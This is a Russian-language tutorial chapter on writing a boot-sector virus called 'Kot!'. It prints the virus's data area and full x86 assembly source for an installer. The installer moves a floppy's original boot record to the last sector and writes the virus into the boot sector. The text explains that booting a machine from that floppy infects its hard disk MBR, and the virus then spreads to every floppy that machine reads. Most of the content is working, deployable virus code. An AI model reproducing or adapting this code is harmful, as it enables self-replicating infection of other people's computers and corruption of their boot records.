Пишем секцию инсталляции

Область данных вируса

В отличие от предыдущих программ, область данных написанного нами загрузочного вируса имеет на удивление простую структуру:

; db 'Kot!' ;Название вируса dl_save db 0 ;Ячейка для вре- ;менного хране- ;ния регистра DL ;( он задает ;номер накопите- ;ля ) num_head dw 0 ;Здесь вирус cyl_sect dw 0 ;хранит номер ;головки,дорожки ;и сектора зара- ;женного диска , ;на которых за- ;писана настоя- ;щая загрузочная ;запись vvv dw 004ch ;Смещение к век- ;тору Int 13h ;Длина вирусного ;кода : prg_lenght equ $ - my_prg

Вы можете спросить, почему для имени вируса отведено всего четыре байта. Дело в том,что наш вирус получился довольно большим (421 байт - можете проверить!). Несколько раньше мы выяснили, что этот размер не может быть больше, чем 425 байт. А 425 - 421 как раз равно четырем...

Очевидно, в таком виде, в каком сейчас существует наш вирус, его довольно трудно внедрить в систему. Поэтому для облегчения этой "вредительской" операции напишем специальный инсталлятор. Его функция состоит в следующем : при старте запускающей программы из командной строки или из - под оболочки заразить диск в дисководе " A ".Причем диск совсем не обязательно должен быть загрузочным. Далее с этого диска нужно загрузиться на той машине, которую требуется заразить. При этом вирус заразит MBR ее жесткого диска. Теперь, после загрузки с винчестера, вирус будет инфицировать все читаемые на зараженной машине дискеты и начнет распространяться.

Исходя из сказанного выше, можно предложить такое решение:

installer: lea si,my_prg ;Подменим коман- mov byte ptr [si],33h ;ду перехода на mov byte ptr [si + 1],0c0h ;первые три бай- mov byte ptr [si + 2],8eh ;та кода вируса ;Попробуем про- ;честь BOOT - ;сектор дискеты. mov ax,0201h ; mov cx,01h ; xor dx,dx ; lea bx,bufer ; int 13h ; jc error ; ; push es ;Получим пара- mov ah,08h ;метры дискеты xor dl,dl ; int 13h ; jnc all_good ; cmp ah,01h ; jne error ; mov dh,01h ; mov ch,27h ; mov cl,byte ptr bufer [18h] ; all_good: xor dl,dl ; mov num_head,dx ; mov cyl_sect,cx ; pop es ; ;Перепишем нас- ;тоящий BOOT в ;последний сек- ;тор последней ;дорожки на пос- ;ледней стороне mov ax,0301h ; lea bx,bufer ; int 13h ; jc error ; ;Сформируем код, ;который нужно ;записать на ;дискету вместо ;исходной BOOT - ;записи mov additor,055h ; lea si,bufer + 55h ; lea di,my_prg ; mov cx,prg_lenght ; copy_boot: mov al,byte ptr [di] ; mov byte ptr [si],al ; inc si ; inc di ; loop copy_boot ; mov word ptr bufer[0],053ebh ; ;И запишем его ;в первый ;сектор нулевой ;дорожки нулевой ;стороны дискеты mov ax,0301h ; mov cx,01h ; mov dx,0 ; lea bx,bufer ; int 13h ; jnc prg_end ; ; error: mov ah,09h ;Если была оши- lea dx,err_mes ;бка - выведем int 21h ;сообщение о ней ; prg_end: mov ax,4c00h ;Завершаем за- int 21h ;пускающую про- ;грамму err_mes db 'Error !$' ;Сообщение bufer db 512 dup ( 0 ) ;В этот буфер ;считывается ;BOOT - сектор ;заражаемой ;дискеты prg ends ; end my_prg ;

Если вирусу не удалось заразить диск, то выдается сообщение "ERROR!". В этом случае попытку заражения просто нужно повторить.

И еще - если вы хотите узнать, зачем понадобились первые четыре команды инсталлятора, вам следует посмотреть приводимый ниже полный текст вирусной программы. Обратите внимание на первую команду, а именно : " jmp installer ".Инсталлятор замещает ее кодом, устанавливающим собственный стек вируса, и поэтому в заражаемые сектора эта команда не попадет.